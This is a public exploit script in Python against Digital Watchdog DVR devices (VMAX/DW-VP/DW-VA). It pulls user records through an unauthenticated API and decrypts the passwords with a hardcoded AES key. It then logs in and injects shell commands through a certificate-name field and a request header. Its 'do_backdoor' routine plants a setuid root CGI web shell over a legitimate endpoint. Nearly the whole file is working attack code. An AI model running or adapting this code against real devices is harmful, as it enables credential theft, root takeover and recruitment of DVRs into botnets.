# Exploit Title: Digital Watchdog DVR VMAX/DW-VP/DW-VA unauth credential disclosure and post-auth RCE
# Date: 2026-01-06
# Exploit Author: Christian Inci
# Vendor Homepage: https://digital-watchdog.com/
# Version: various, until latest from 2025
# Tested on: various


#!/usr/bin/env python3

# this file is released because some mirai/kad fork network might use the very same vulnerabilities since a day or so (at least since 2026-03-13)
# support.digital-watchdog.com mentions something about the firmware not having any backdoors, but some things inside it might classify as one.
# they don't accept any "technical support" requests or vulnerability reports without being an active customer of theirs.

# this is very unoptimized, and not even put in classes, like my other files, because who even cares.
# should work for at least:
# VMAXIPPlus/HN-6509/2nd gen DW-VP16xT16P/v1.5.2.4 (latest? from 2022-10-25) (H/W: v8.0.0)
# VMAXA1Plus/DW-VA1P4xT/1.0.1.67 (latest from 2025-06-24)
# VMAXA1G4/DW-VA1G416xT/DW-VA1G4416[sic, according to the download page] 1.0.9.0 (2023-03-03)
# most likely also VMAXA1G4/DW-VA1G416xT/DW-VA1G416 1.0.13.11 (latest from 2025-10-10) if the upgrade would work

import sys, requests, traceback
from Cryptodome.Cipher import AES, PKCS1_v1_5
from Cryptodome.PublicKey import RSA
from Cryptodome.Util.Padding import pad, unpad
from base64 import b64decode as bd, b64encode as be
from binascii import unhexlify
from random import randbytes, choice, sample
import string

url = sys.argv[1]
cmd = sys.argv[2]

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

requestsSession = requests.Session()
headers = {'User-Agent': ''}
data_is_encrypted = False
rsa_pub_key = ''
rsa_session_key = ''

# some oem (most likely focushns) has a yet unknown key, I can't download the firmware file since the download function of their website is broken since months.
keys = [(b'0vMAXsPECTRUMnANUGOcErritos16220',b'dIgItALwATCHdOG3')]

def get_rand(n):
    ##rnd_key = randbytes(n)
    s = string.ascii_letters+string.digits
    s *= 10
    rnd_key = ''.join(sample(s, n))
    return rnd_key

def rsa_decrypt(priv_key, c):
    rsa = RSA.import_key(bd(priv_key))
    cipher = PKCS1_v1_5.new(rsa)
    m = cipher.decrypt(bd(c))
    return m

def rsa_encrypt(priv_key, m):
    if (isinstance(m, str)):
        m = m.encode()
    rsa = RSA.import_key(bd(priv_key))
    cipher = PKCS1_v1_5.new(rsa)
    c = be(cipher.encrypt(m))
    return c

def rsa_encrypt_pub(pub_key, m):
    if (isinstance(m, str)):
        m = m.encode()
    rsa = RSA.import_key(bd(pub_key))
    cipher = PKCS1_v1_5.new(rsa)
    c = be(cipher.encrypt(m))
    return c

def do_get(full_url, cookies=None, timeout=60):
    resp = None
    try:
        resp = requestsSession.get(full_url, verify=False, allow_redirects=False, headers=headers, cookies=cookies, timeout=timeout)
    except:
        traceback.print_exc()
        return
    return resp

def do_post(full_url, data, cookies=None, timeout=60, getData=True, doJson=True):
    resp = None
    json = None
    if (doJson):
        json = data
        data = None
    try:
        resp = requestsSession.post(full_url, json=json, data=data, verify=False, allow_redirects=False, headers=headers, cookies=cookies, timeout=timeout)
        if (getData):
            resp = resp.json()
    except:
        traceback.print_exc()
        return
    return resp

def decode_user(user):
    username = user['username']
    encrypted_password = user['password']
    password = ''
    for key in keys:
        try:
            password = unpad(AES.new(key=key[0],iv=key[1],mode=AES.MODE_CBC).decrypt(bd(encrypted_password)), 16).decode()
            break
        except:
            #pass
            traceback.print_exc()
            print(user)
            continue
    print(f'{username}:{password}')
    return username, password

def get_rsa(content):
    rsa_pub_key = ''
    rsa_session_key = ''
    lines = content.split(b'\n')
    for line in lines:
        line_split = line.split(b'"')
        if (b'rsa_pub_key' in line_split[0]):
            rsa_pub_key = line_split[1].decode()
        elif (b'rsa_session_key' in line_split[0]):
            rsa_session_key = line_split[1].decode()
    return rsa_pub_key, rsa_session_key

def do_login(username, password):
    global data_is_encrypted, rsa_pub_key, rsa_session_key
    cookies, rsa_pub_key, rsa_session_key = is_login_encrypted()
    if (rsa_pub_key and rsa_session_key):
        print('Forms are encrypted')
        data_is_encrypted = True
        do_encrypted_login(username, password)
    else:
        print('Forms are unencrypted')
        data_is_encrypted = False
        do_unencrypted_login(username, password)
    return cookies

def set_enc_vars(data, pub_key, session_key):
    rnd_key = get_rand(64)
    enc_key = rsa_encrypt_pub(pub_key, rnd_key)
    ses_key = rsa_encrypt_pub(pub_key, session_key)
    data.update({"rsa_session":session_key})
    data.update({"rnd_key":rnd_key})
    data.update({"enc_key":enc_key})
    data.update({"ses_key":ses_key})

def is_login_encrypted():
    login_resp = do_get(f'{url}/cgi-bin/login.cgi')
    cookies = login_resp.cookies
    #print(login_resp.content)
    rsa_pub_key, rsa_session_key = get_rsa(login_resp.content)
    return cookies, rsa_pub_key, rsa_session_key

def do_unencrypted_login(username, password):
    login_resp = do_post(f'{url}/cgi-bin/login_proc.cgi', {"login_os":"win","login_type":"1","login_id":username,"login_pwd": password}, getData=False, doJson=False)
    print(login_resp.headers)
    print(login_resp.content)
    location = login_resp.headers.get('Location', '')
    if ((login_resp.status_code == 302 and 'login.cgi?arg=' in location) or b'login.cgi?arg=' in login_resp.content):
        print(f'login error: {location}')
        #pass
        exit(1)
    cookies = login_resp.cookies
    return cookies

def do_encrypted_login(username, password):
    data = {"login_os":"win","login_type":"1","login_id":username,"login_pwd": password}
    data.update({"login_type":rsa_encrypt_pub(rsa_pub_key, data["login_type"])})
    data.update({"enc_uid":rsa_encrypt_pub(rsa_pub_key, data["login_id"])})
    data.update({"enc_upwd":rsa_encrypt_pub(rsa_pub_key, data["login_pwd"])})
    data.update({"login_id":''})
    data.update({"login_pwd":''})
    set_enc_vars(data, rsa_pub_key, rsa_session_key)
    login_resp = do_post(f'{url}/cgi-bin/login_proc.cgi', data, getData=False, doJson=False)
    print(login_resp.headers)
    print(login_resp.content)
    location = login_resp.headers.get('Location', '')
    if ((login_resp.status_code == 302 and 'login.cgi?arg=' in location) or b'login.cgi?arg=' in login_resp.content):
        print(f'login error: {location}')
        #pass
        exit(1)
    cookies = login_resp.cookies
    return cookies

def do_unencrypted_rce(cookies, cmd, cmd2=''):
    print(cookies)
    category = "setup_network_https_cert_view"
    cert_name = f'a # \n {cmd} #'
    if (cmd2):
        headers['abcdef']=f'ghi`{cmd2}`jkl'
    data = {"category":category,"cert_name":cert_name}
    resp = do_post(f'{url}/cgi-bin/update_save.cgi', data, cookies=cookies, getData=False, doJson=False).text
    print(resp)

def do_encrypted_rce(cookies, cmd, cmd2=''):
    print(cookies)
    category = "setup_network_https_cert_view"
    cert_name = f'a" # \n {cmd} # "'
    if (cmd2):
        #cert_name = f'a" # \n id \n {cmd} # "'
        headers['abcdef']=f'ghi`{cmd2}`jkl'
    data = {"category":category,"cert_name":cert_name}
    set_enc_vars(data, rsa_pub_key, rsa_session_key)
    # cert_name is NOT encrypted!!
    data.update({"category":rsa_encrypt_pub(rsa_pub_key, data["category"])})
    resp = do_post(f'{url}/cgi-bin/update_save.cgi', data, cookies=cookies, getData=False, doJson=False).text
    print(resp)

def do_rce(cookies, cmd, cmd2=''):
    if (data_is_encrypted):
        do_encrypted_rce(cookies, cmd, cmd2)
    else:
        do_unencrypted_rce(cookies, cmd, cmd2)

def do_backdoor(cookies):
    tmpdir = '/dev/'
    cmd = f'cp /proc/self/environ {tmpdir}/.e0 # \n sed -i "a " {tmpdir}/.e0 # \n cat {tmpdir}/.e0 # \n sh {tmpdir}/.e0 # \n mount -o remount,ro / # \n mount # \n rm {tmpdir}/.e0 #'
    filename = '/dev/.go000.cgi'
    # not all versions include base64
    cmd2 = f"rm -f {filename} ; echo -ne '\\x23\\x21\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x0a\\x65\\x63\\x68\\x6f\\x20\\x2d\\x6e\\x65\\x20\\x22\\x43\\x6f\\x6e\\x74\\x65\\x6e\\x74\\x2d\\x54\\x79\\x70\\x65\\x3a\\x20\\x74\\x65\\x78\\x74\\x2f\\x70\\x6c\\x61\\x69\\x6e\\x5c\\x72\\x5c\\x6e\\x5c\\x72\\x5c\\x6e\\x22\\x0a\\x63\\x61\\x74\\x20\\x7c\\x20\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x20\\x32\\x3e\\x26\\x31\\x0a' > {filename} ; chmod 6755 {filename} ; chown 0:0 {filename} ; mount -o bind {filename} /var/www/cgi-bin/setup_network_https_cert_upload_pkcs12.cgi"
    do_rce(cookies, cmd, cmd2)

def get_param_id_mac():
    device_info = do_post(f'{url}/api/publicCmd', {"command":"getDeviceInfo"})
    if (not device_info):
        print('not device_info')
        exit(1)

    param_id = device_info['reply']['id']
    param_mac = device_info['reply']['mac']
    return param_id, param_mac

def get_ddns(param_id, param_mac):
    general_ddns = do_post(f'{url}/api/publicCmd', {"command":"setup/general/system"})
    if (not general_ddns):
        print('not general_ddns')
        exit(1)

    print(general_ddns)
    #users = general_ddns['reply']['users']
    #return users

def get_users(param_id, param_mac):
    general_user = do_post(f'{url}/api/publicCmd', {"method":"get","command":"setup/general/user","id":param_id,"mac": param_mac})
    if (not general_user):
        print('not general_user')
        exit(1)

    #print(general_user)
    users = general_user['reply']['users']
    return users

def run():
    #cookies = do_login('admin', 'global')
    #rsa_decrypt()
    #do_rce(cookies, cmd)
    #do_backdoor(cookies)
    #return
    param_id, param_mac = get_param_id_mac()
    #get_ddns(param_id, param_mac)
    #return
    users = get_users(param_id, param_mac)
    for user in users:
        username, password = decode_user(user)
        print(username, password)
    #return
    for user in users:
    #for user in users[0:1]:
        username, password = decode_user(user)
        cookies = do_login(username, password)
        #do_rce(cookies, cmd)
        do_backdoor(cookies)
    #
#

run()